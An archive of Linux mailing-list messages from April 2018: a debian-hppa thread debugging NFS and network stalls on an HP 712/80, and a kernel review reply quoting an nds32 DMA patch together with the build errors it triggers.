Resent-Message-ID: <R3son9R6HcE.A.BsD.YxO3aB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8717
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/24d6336b-5533-36c0-fb3e-9924fd4e3934@bell.net
Resent-Date: Sun, 22 Apr 2018 20:11:05 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7733 gmane.linux.ports.parisc:28553
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7733>

On 2018-04-22 3:17 PM, Frank Scheiner wrote:
> On 04/21/2018 02:22 AM, John David Anglin wrote:
>>  From the manual, it seems the 10BASE-T port is half duplex 
>> (CSMA/CD). The MAU
>> interface is definitely half duplex and the word duplex is not 
>> mentioned in the manual.
>
> I also didn't find any info about half-/full-duplex in the two manuals 
> I have at hand for the 712/80 ("Service Handbook" and "Technical 
> Reference Manual"). To be sure, which one did you consult?
I looked at the "Technical Reference".
>
>>
>> The 10BASE-T port probably doesn't support auto negotiation, so you 
>> will need to manually
>> set the switch port to 10BASE-T half duplex if it doesn't 
>> automatically configure to this mode
>> when auto negotiation fails.
>
> Did this at first but then went for full-duplex again. Today I started 
> with full-duplex and actively cooling the heatsink (now smoothed and 
> with fresh thermal grease applied) of the 712/80's processor, but that 
> didn't help alone. The issue hit me after entering the password during 
> login.
>
> Then I reconfigured half-duplex and tried again. The machine now 
> worked through the whole login and I could also do an `apt update` 
> without issues afterwards. Then I let it alone for about twenty 
> minutes and on return I did an `apt list --upgradable` which triggered 
> the issue again.
Seems like hardware problem, probably in 712.  The switch and 712 need 
to be in same mode.  If my supposition about the 712
only supporting half duplex is correct, then the switch will have to be 
in half duplex.  I think network boot and `apt update`
would be a sufficient test of the network configuration.  Without error 
messages, this is hard.
>
> :-/
>
>>
>> Some switches support a half-duplex back pressure form of flow control.
>
> I'll try that now. According to the documentation my switch can create 
> back-pressure as form of flow control.
It's possible flow control on the server port might help given that the 
712 is so slow and probably
needs half duplex.  The switch might drop packets as a result. However, 
IP usually adjusts for slow segments.

Dave


From - Thu Nov 08 21:41:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greentime Hu <green.hu@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH 13/22] nds32: use generic dma_noncoherent_ops
Date: Mon, 23 Apr 2018 14:49:42 +0800
Lines: 298
Approved: news@gmane.org
Message-ID: <CAEbi=3fkakVD2vxGu6SgJM77JnNM8Y79xS8_o6m9d_85BJpMFQ@mail.gmail.com>
References: <20180420080313.18796-1-hch@lst.de> <20180420080313.18796-14-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1524466112 3560 195.159.176.226 (23 Apr 2018 06:48:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 23 Apr 2018 06:48:32 +0000 (UTC)
Cc: linux-arch <linux-arch@vger.kernel.org>,
        Michal Simek <monstr@monstr.eu>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux <sparclinux@vger.kernel.org>,
        linux-xtensa@linux-xtensa.org,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Apr 23 08:48:27 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fAVGz-0000nc-G6
	for glk-linux-kernel-4@m.gmane.org; Mon, 23 Apr 2018 08:48:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753004AbeDWGub (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 23 Apr 2018 02:50:31 -0400
Original-Received: from mail-ua0-f196.google.com ([209.85.217.196]:36292 "EHLO
        mail-ua0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751216AbeDWGuY (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 23 Apr 2018 02:50:24 -0400
Original-Received: by mail-ua0-f196.google.com with SMTP id v4so9486740uaj.3;
        Sun, 22 Apr 2018 23:50:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=PMWeELwN2wO6NhCjsBKzQYjfQvJVOGB+Cb+lkqyEBh8=;
        b=lnNbTGtcmRIDy/nNk6nAA7yeAM7kdmgIDbjgOC8gZXl7xQTj6OrwEPTbhv4OXjJhkC
         fvnaVyEktJWJ2lPhhSK823fU0RIvzZlW8k5NaVd0KqiAiYZnWhIsT4+r1jsyCLygtjP1
         sbFBlEgg0DSSnQnIsYLiXHU2Sn/fdcb4ms/stWO1nAISiE3zcCxTmC5fINv4pqNWKdRo
         jxMe1eJvGK772AF6qy1Uapp2lNOIwxywpdIC4g8ySL/t5o/EBZA8ORTruK22JwpMnnP/
         JsoSuaYIVFHVs+iYd+96FjMM0iLr5wJ/Gdv1F9CtwJ598U5E+AVJoOw8LpuHd4xdRcW1
         TPKQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=PMWeELwN2wO6NhCjsBKzQYjfQvJVOGB+Cb+lkqyEBh8=;
        b=GHrpxgMaX2akNmL1aVkMUU4F+9XTCI9N5xlFrYeq2R7QiAKjMtczA7zy5WHzhY3jp8
         pzxYPWpl0wxFY4WKMTJPJo3UY5N2C7i3DEf4PhbmK3GBTuNgcvXnc8Jnef9XziHeFVuy
         55zpsK4M5jig89VnqgTVexEOimAWRZWCqLy06OkGvdbnL9gIjodsyLZP7LoBs8qWbE3N
         YjGHhrmwMu4g9mRQcgw2WVEOuV27eFcrC+kmRqXvFuWMEJ9YLel/LjkbkX977dNuclJr
         DznqpAdq2+hwDhVAlE09HplYyyx+G7Zl+m6IiYihJeXAGo+l6hPqqJW6PTvUGRSPg67V
         eMkQ==
X-Gm-Message-State: ALQs6tB+UWkKZ6I1W15nFdUNVJ9zVcCESUHLtOYvI/Jg/0XBp125aYk9
        7Sen9hHbKvCHVg/X5oi/X1MT8AsXabRWjIziP/g=
X-Google-Smtp-Source: AIpwx49HQ9/+vQTQuYLjiqm887/Jj7UD8msyMbWiY866o2RSB7TN58MZAOOU9OpVptI6/KHw5runwT1vrO1gvtwpPqc=
X-Received: by 10.176.19.3 with SMTP id g3mr14694689uae.140.1524466222850;
 Sun, 22 Apr 2018 23:50:22 -0700 (PDT)
Original-Received: by 10.176.92.86 with HTTP; Sun, 22 Apr 2018 23:49:42 -0700 (PDT)
In-Reply-To: <20180420080313.18796-14-hch@lst.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2748057 gmane.linux.kernel.cross-arch:43645 gmane.linux.ports.alpha:4986 gmane.linux.kernel.arc:3827 gmane.linux.ports.arm.kernel:645167 gmane.linux.ports.hexagon:1668 gmane.linux.ports.parisc:28554 gmane.linux.ports.sh.devel:56903 gmane.linux.ports.sparc:27731
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2748057>

2018-04-20 16:03 GMT+08:00 Christoph Hellwig <hch@lst.de>:
> Switch to the generic noncoherent direct mapping implementation.
>
> This makes sure kmap_atomic_pfn is consistently used for access to
> virtual addresses instead of either using the slower plain kmap
> or blindly expecting page_address() to work.
>
> This makes sure the cache_sync routines is called in the unmap_sg
> case, to match the unmap_single and sync_{single,sg}_to_cpu cases.
>
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  arch/nds32/Kconfig                   |   3 +
>  arch/nds32/include/asm/Kbuild        |   1 +
>  arch/nds32/include/asm/dma-mapping.h |  14 ---
>  arch/nds32/kernel/dma.c              | 182 ++++++---------------------
>  4 files changed, 39 insertions(+), 161 deletions(-)
>  delete mode 100644 arch/nds32/include/asm/dma-mapping.h
>
> diff --git a/arch/nds32/Kconfig b/arch/nds32/Kconfig
> index 249f38d3388f..67d0ac0a989c 100644
> --- a/arch/nds32/Kconfig
> +++ b/arch/nds32/Kconfig
> @@ -5,10 +5,13 @@
>
>  config NDS32
>          def_bool y
> +       select ARCH_HAS_SYNC_DMA_FOR_CPU
> +       select ARCH_HAS_SYNC_DMA_FOR_DEVICE
>         select ARCH_WANT_FRAME_POINTERS if FTRACE
>         select CLKSRC_MMIO
>         select CLONE_BACKWARDS
>         select COMMON_CLK
> +       select DMA_NONCOHERENT_OPS
>         select GENERIC_ATOMIC64
>         select GENERIC_CPU_DEVICES
>         select GENERIC_CLOCKEVENTS
> diff --git a/arch/nds32/include/asm/Kbuild b/arch/nds32/include/asm/Kbuild
> index 06bdf8167f5a..b3e951f805f8 100644
> --- a/arch/nds32/include/asm/Kbuild
> +++ b/arch/nds32/include/asm/Kbuild
> @@ -13,6 +13,7 @@ generic-y += cputime.h
>  generic-y += device.h
>  generic-y += div64.h
>  generic-y += dma.h
> +generic-y += dma-mapping.h
>  generic-y += emergency-restart.h
>  generic-y += errno.h
>  generic-y += exec.h
> diff --git a/arch/nds32/include/asm/dma-mapping.h b/arch/nds32/include/asm/dma-mapping.h
> deleted file mode 100644
> index 2dd47d245c25..000000000000
> --- a/arch/nds32/include/asm/dma-mapping.h
> +++ /dev/null
> @@ -1,14 +0,0 @@
> -// SPDX-License-Identifier: GPL-2.0
> -// Copyright (C) 2005-2017 Andes Technology Corporation
> -
> -#ifndef ASMNDS32_DMA_MAPPING_H
> -#define ASMNDS32_DMA_MAPPING_H
> -
> -extern struct dma_map_ops nds32_dma_ops;
> -
> -static inline struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
> -{
> -       return &nds32_dma_ops;
> -}
> -
> -#endif
> diff --git a/arch/nds32/kernel/dma.c b/arch/nds32/kernel/dma.c
> index d291800fc621..688f1a03dee6 100644
> --- a/arch/nds32/kernel/dma.c
> +++ b/arch/nds32/kernel/dma.c
> @@ -3,17 +3,14 @@
>
>  #include <linux/types.h>
>  #include <linux/mm.h>
> -#include <linux/export.h>
>  #include <linux/string.h>
> -#include <linux/scatterlist.h>
> -#include <linux/dma-mapping.h>
> +#include <linux/dma-noncoherent.h>
>  #include <linux/io.h>
>  #include <linux/cache.h>
>  #include <linux/highmem.h>
>  #include <linux/slab.h>
>  #include <asm/cacheflush.h>
>  #include <asm/tlbflush.h>
> -#include <asm/dma-mapping.h>
>  #include <asm/proc-fns.h>
>
>  /*
> @@ -22,11 +19,6 @@
>  static pte_t *consistent_pte;
>  static DEFINE_RAW_SPINLOCK(consistent_lock);
>
> -enum master_type {
> -       FOR_CPU = 0,
> -       FOR_DEVICE = 1,
> -};
> -
>  /*
>   * VM region handling support.
>   *
> @@ -124,10 +116,8 @@ static struct arch_vm_region *vm_region_find(struct arch_vm_region *head,
>         return c;
>  }
>
> -/* FIXME: attrs is not used. */
> -static void *nds32_dma_alloc_coherent(struct device *dev, size_t size,
> -                                     dma_addr_t * handle, gfp_t gfp,
> -                                     unsigned long attrs)
> +void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
> +               gfp_t gfp, unsigned long attrs)
>  {
>         struct page *page;
>         struct arch_vm_region *c;
> @@ -232,8 +222,8 @@ static void *nds32_dma_alloc_coherent(struct device *dev, size_t size,
>         return NULL;
>  }
>
> -static void nds32_dma_free(struct device *dev, size_t size, void *cpu_addr,
> -                          dma_addr_t handle, unsigned long attrs)
> +void arch_dma_free(struct device *dev, size_t size, void *cpu_addr,
> +               dma_addr_t handle, unsigned long attrs)
>  {
>         struct arch_vm_region *c;
>         unsigned long flags, addr;
> @@ -333,145 +323,43 @@ static int __init consistent_init(void)
>  }
>
>  core_initcall(consistent_init);
> -static void consistent_sync(void *vaddr, size_t size, int direction, int master_type);
> -static dma_addr_t nds32_dma_map_page(struct device *dev, struct page *page,
> -                                    unsigned long offset, size_t size,
> -                                    enum dma_data_direction dir,
> -                                    unsigned long attrs)
> -{
> -       if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
> -               consistent_sync((void *)(page_address(page) + offset), size, dir, FOR_DEVICE);
> -       return page_to_phys(page) + offset;
> -}
> -
> -static void nds32_dma_unmap_page(struct device *dev, dma_addr_t handle,
> -                                size_t size, enum dma_data_direction dir,
> -                                unsigned long attrs)
> -{
> -       if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
> -               consistent_sync(phys_to_virt(handle), size, dir, FOR_CPU);
> -}
>
> -/*
> - * Make an area consistent for devices.
> - */
> -static void consistent_sync(void *vaddr, size_t size, int direction, int master_type)
> +void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
> +               size_t size, enum dma_data_direction dir)
>  {
> -       unsigned long start = (unsigned long)vaddr;
> -       unsigned long end = start + size;
> -
> -       if (master_type == FOR_CPU) {
> -               switch (direction) {
> -               case DMA_TO_DEVICE:
> -                       break;
> -               case DMA_FROM_DEVICE:
> -               case DMA_BIDIRECTIONAL:
> -                       cpu_dma_inval_range(start, end);
> -                       break;
> -               default:
> -                       BUG();
> -               }
> -       } else {
> -               /* FOR_DEVICE */
> -               switch (direction) {
> -               case DMA_FROM_DEVICE:
> -                       break;
> -               case DMA_TO_DEVICE:
> -               case DMA_BIDIRECTIONAL:
> -                       cpu_dma_wb_range(start, end);
> -                       break;
> -               default:
> -                       BUG();
> -               }
> +       void *addr = kmap_atomic_pfn(PHYS_PFN(paddr));
> +       unsigned long start = (unsigned long)addr;
> +
> +       switch (direction) {
> +       case DMA_FROM_DEVICE:
> +               break;
> +       case DMA_TO_DEVICE:
> +       case DMA_BIDIRECTIONAL:
> +               cpu_dma_wb_range(start, start + size);
> +               break;
> +       default:
> +               BUG();
>         }
> -}
>
> -static int nds32_dma_map_sg(struct device *dev, struct scatterlist *sg,
> -                           int nents, enum dma_data_direction dir,
> -                           unsigned long attrs)
> -{
> -       int i;
> -
> -       for (i = 0; i < nents; i++, sg++) {
> -               void *virt;
> -               unsigned long pfn;
> -               struct page *page = sg_page(sg);
> -
> -               sg->dma_address = sg_phys(sg);
> -               pfn = page_to_pfn(page) + sg->offset / PAGE_SIZE;
> -               page = pfn_to_page(pfn);
> -               if (PageHighMem(page)) {
> -                       virt = kmap_atomic(page);
> -                       consistent_sync(virt, sg->length, dir, FOR_CPU);
> -                       kunmap_atomic(virt);
> -               } else {
> -                       if (sg->offset > PAGE_SIZE)
> -                               panic("sg->offset:%08x > PAGE_SIZE\n",
> -                                     sg->offset);
> -                       virt = page_address(page) + sg->offset;
> -                       consistent_sync(virt, sg->length, dir, FOR_CPU);
> -               }
> -       }
> -       return nents;
> -}
> -
> -static void nds32_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
> -                              int nhwentries, enum dma_data_direction dir,
> -                              unsigned long attrs)
> -{
> +       kunmap_atomic(addr);
>  }
>
> -static void
> -nds32_dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle,
> -                             size_t size, enum dma_data_direction dir)
> +void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
> +               size_t size, enum dma_data_direction dir)
>  {
> -       consistent_sync((void *)phys_to_virt(handle), size, dir, FOR_CPU);
> -}
> -
> -static void
> -nds32_dma_sync_single_for_device(struct device *dev, dma_addr_t handle,
> -                                size_t size, enum dma_data_direction dir)
> -{
> -       consistent_sync((void *)phys_to_virt(handle), size, dir, FOR_DEVICE);
> -}
> -
> -static void
> -nds32_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg, int nents,
> -                         enum dma_data_direction dir)
> -{
> -       int i;
> -
> -       for (i = 0; i < nents; i++, sg++) {
> -               char *virt =
> -                   page_address((struct page *)sg->page_link) + sg->offset;
> -               consistent_sync(virt, sg->length, dir, FOR_CPU);
> +       void *addr = kmap_atomic_pfn(PHYS_PFN(paddr));
> +       unsigned long start = (unsigned long)addr;
> +
> +       switch (direction) {
> +       case DMA_TO_DEVICE:
> +               break;
> +       case DMA_FROM_DEVICE:
> +       case DMA_BIDIRECTIONAL:
> +               cpu_dma_inval_range(start, end);
> +               break;
> +       default:
> +               BUG();
>         }

  CC      arch/nds32/kernel/dma.o
arch/nds32/kernel/dma.c: In function 'arch_sync_dma_for_device':
arch/nds32/kernel/dma.c:333:10: error: 'direction' undeclared (first
use in this function)
  switch (direction) {
          ^~~~~~~~~
arch/nds32/kernel/dma.c:333:10: note: each undeclared identifier is
reported only once for each function it appears in
arch/nds32/kernel/dma.c: In function 'arch_sync_dma_for_cpu':
arch/nds32/kernel/dma.c:353:10: error: 'direction' undeclared (first
use in this function)
  switch (direction) {
          ^~~~~~~~~
arch/nds32/kernel/dma.c:358:30: error: 'end' undeclared (first use in
this function)
   cpu_dma_inval_range(start, end);
                              ^~~
make[1]: *** [arch/nds32/kernel/dma.o] Error 1
make: *** [arch/nds32/kernel] Error 2

After this building error, the ftmac100.c driver is broken. Not sure
what happened.


From - Thu Nov 08 21:41:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Frank Scheiner <frank.scheiner@web.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Ultra5 successful install - PGX64 issues
Date: Mon, 23 Apr 2018 15:38:59 +0200
Lines: 83
Approved: news@gmane.org
Message-ID: <f247e23c-7858-544c-bfe7-41596f8c3569@web.de>
References: <CAFC0-0XVQUVHmM+TT4qUK_djRGx-eV+d=5FTpGyjRR40mwAv=Q@mail.gmail.com>
 <6a4e3490-dd3e-5832-43be-dba8211ce6e4@physik.fu-berlin.de>
 <dd60b1eb-595d-f208-2885-c958a5ff3a4c@blastwave.org>
 <16600fdc-6bba-1e2d-f106-560b8ea366c8@physik.fu-berlin.de>
 <9671ecea-1353-df1c-ebbd-24a5b7d3008b@oetec.com>
 <de1ac156-926a-c187-f15e-2c3da9251c82@web.de>
 <f34b2787-17e5-4fef-f028-543082ff95b6@gmx.de>
 <103f23dc-0d00-2ca1-fb98-271d1e03ad90@web.de>
 <20180420112426.3c8be653@wim.jer>
 <5f57a530-c9e8-0fbd-4eba-ba6995320c10@bell.net>
 <5902c913-93a2-bb5f-5fd6-b45bcff94158@web.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524490882 5592 195.159.176.226 (23 Apr 2018 13:41:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 23 Apr 2018 13:41:22 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: Helge Deller <deller@gmx.de>, debian-hppa@lists.debian.org,
 linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>, Jeroen Roovers <jer@gentoo.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Mon Apr 23 15:41:18 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1fAbiV-0001K2-RP
	for debian-hppa@m.gmane.org; Mon, 23 Apr 2018 15:41:15 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 0902199; Mon, 23 Apr 2018 13:43:27 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Mon Apr 23 13:43:26 2018
Old-Return-Path: <frank.scheiner@web.de>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 4C67693
	for <lists-debian-hppa@bendel.debian.org>; Mon, 23 Apr 2018 13:43:16 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.679 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FREEMAIL_FROM=0.001, LDO_WHITELIST=-5,
	MURPHY_DRUGS_REL8=0.02, RCVD_IN_DNSWL_LOW=-0.7]
	autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id BiTT8WfL_rBk for <lists-debian-hppa@bendel.debian.org>;
	Mon, 23 Apr 2018 13:39:19 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mout.web.de (mout.web.de [212.227.15.14])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 72BBD6E
	for <debian-hppa@lists.debian.org>; Mon, 23 Apr 2018 13:39:07 +0000 (UTC)
Original-Received: from [192.168.178.29] ([217.247.36.123]) by smtp.web.de (mrweb004
 [213.165.67.108]) with ESMTPSA (Nemesis) id 0MNx4F-1f4JDi2VFD-007V7I; Mon, 23
 Apr 2018 15:39:01 +0200
In-Reply-To: <5902c913-93a2-bb5f-5fd6-b45bcff94158@web.de>
Content-Language: en-US
X-Provags-ID: V03:K1:yT9Q4DFdtWlEjsZhHLxkNBo8UCtKHaJej/MQ+jMXYD75991A18J
 8DFTA9Fuy8CyHrBopXTidkcsZ+AZ5fb/rpfmvZpQ66YE2VoZm4nhFmB7G/d1b8bHuU/hqWD
 qGRfzYNWDaOVOkJ0j1uc8GsHUSUBUYdJGST2z/4PWI6oZobRMUI/KNR0Rh3jy495T74faI+
 y7w3V/8YvfY8fLGwwUNUQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:u+iAWGPOr0o=:2knAlXWmxbk1zdmUmGvdPX
 bK5JzQnCxnGKLzycAkeWKW0ZH0JvZZc1cJKRAQRN5yjjb04knOkTvGdTCAa/k4AEvgQ4/S2dR
 fhFG1euPB9s0iN5ZXXEbkK7+yyfQ0dXz9bhKKJONinoySQ8nkVFRt/Fagtcsvb8DSHfU63drm
 DeZKUgmMEAFkumes4orsod9/luGbdD1uK6aVOC6JTSlcuRlxXnJgjAS8YmV11kZgc2vVKVEZK
 u21LLox0TPH4VC6RO2/M/AFTuLPutZ3pE3XNxSs13n/1CR8qVVmh21KGpx7IY/SIU1ioi4uwg
 cSettQHLZOeK04p9jdluxTsLFMQ7diHLmX/2uAgExwIQBBs6JnGXtpId6BFVWP6psUh7jicpm
 OcMFtqlGiXaxb4S6e5bzg2hJZRhBA9mBSW7D7eeAJzWzfykG/Hfw2m2iCwG5tdhpTxS8KvmkC
 HOQ/UtuZ8h8sWt+QJYUWoTZVOBul/FcoYzR3LtFFO01acbzCdhHyb07xYfShGV9AjmRuto8U/
 AEXWpq79ZCJAsCv3E3X0TmgIFspW1QjKN9Us5TbhJDvJaRtOHHr1WZKmnc6GMGlM2hChOeE+c
 tGL5A18JC/GFLwB9JmOSXvzZWdv5DyhCXV9i5wRta2tDpohwetzLALBo0igCScei55nmgu6MI
 Ux+9/aQAK6PCA3lwIeTkyNKWo+BWQDs7yqT4dvKZu2HlcEYfKADQnsN9beGpjegjfn4EzTuPq
 tQnjI58EXJi6qLDN7RoDvcGXrpHk02U07jrx9s1iZIBihBETLSUIplkRRmKSOM7UhKVjEQSH 
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <6Kqgk0qyrGO.A.PUF.-Le3aB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8718
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/f247e23c-7858-544c-bfe7-41596f8c3569@web.de
Resent-Date: Mon, 23 Apr 2018 13:43:27 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7734 gmane.linux.ports.parisc:28555
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7734>



On 04/22/2018 09:17 PM, Frank Scheiner wrote:
>> Some switches support a half-duplex back pressure form of flow control.
> 
> I'll try that now. According to the documentation my switch can create 
> back-pressure as form of flow control.

Yesterday after I activated flow control on the switch, the 712/80 got 
back after a while and finished the `apt list --upgradable` command with 
output - in between the journald of systemd crashed and restarted. 
Reissuing the same `apt [...]` command worked without problems. On the 
switch's port summary I could now also recognize that the host that acts 
as NFS server now got pause frames submitted by the switch - so the flow 
control is working.

I then tried to install `joe` and when `update-alternatives` started it 
again lost the connection to the NFS server. :-( It didn't recover from 
that - at least not during the time I waited for it - so I powered the 
712/80 down.

I thought maybe switching back to System V init might ease the load a 
little bit for the 712/80, so I upgraded the file system with a c8000 
(incl. newer patch level for the kernel) and removed systemd afterwards 
(also from initramfs).

I then ran some benchmarks without any issues in between.

Today I still have the problems described in [1] when doing `apt install 
[...]` or `apt remove [...]` but now the 712/80 recovered each time so 
far after a while, so it looks like an improvement to me. Look at the 
timings for `apt remove [...]`:

```
root@hp-712:~# time apt remove -y joe
[ 8794.150750] nfs: server 172.16.0.2 not responding, still trying
[...]
[ 8794.962227] nfs: server 172.16.0.2 not responding, still trying
[ 8795.074226] nfs: server 172.16.0.2 OK
[...]
[ 8797.271834] nfs: server 172.16.0.2 OK
[ 8802.242312] nfs: server 172.16.0.2 not responding, still trying
[...]
[ 9235.937478] nfs: server 172.16.0.2 OK
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages will be REMOVED:
   joe
0 upgraded, 0 newly installed, 1 to remove and 0 not upgraded.
After this operation, 2,086 kB disk space will be freed.
(Reading database ... 41128 files and directories currently installed.)
Removing joe (4.6-1) ...
update-alternatives: using /usr/bin/jmacs to provide /usr/bin/editor 
(editor) in auto mode
update-alternatives: using /usr/bin/jpico to provide /usr/bin/editor 
(editor) in auto mode
update-alternatives: using /bin/nano to provide /usr/bin/editor (editor) 
in auto mode
Processing triggers for mime-support (3.60) ...
[ 9357.992385] nfs: server 172.16.0.2 not responding, still trying
[...]
[10055.370493] nfs: server 172.16.0.2 not responding, still trying
[10055.709731] nfs: server 172.16.0.2 OK
[...]
[10057.212469] nfs: server 172.16.0.2 OK

real    22m0.853s
user    1m3.264s
sys     0m43.875s
```

...the `apt install -y joe` done beforehand took about 41 minutes. So 
the 712/80 can recover from the described problems, but package 
management should really be done from a more powerful machine, at least 
when running diskless.

[1]: https://lists.debian.org/debian-hppa/2018/04/msg00007.html

Cheers,
Frank



From - Thu Nov 08 21:41:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 01/22] dma-debug: move initialization to common code
Date: Tue, 24 Apr 2018 09:35:24 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20180424073524.GB18945@lst.de>
References: <20180420080313.18796-1-hch@lst.de> <20180420080313.18796-2-hch@lst.de> <294a1469-01d6-10fb-5de1-b1d4513a066c@arm.com>
NNTP-Posting-Host: blaine.gmane.org
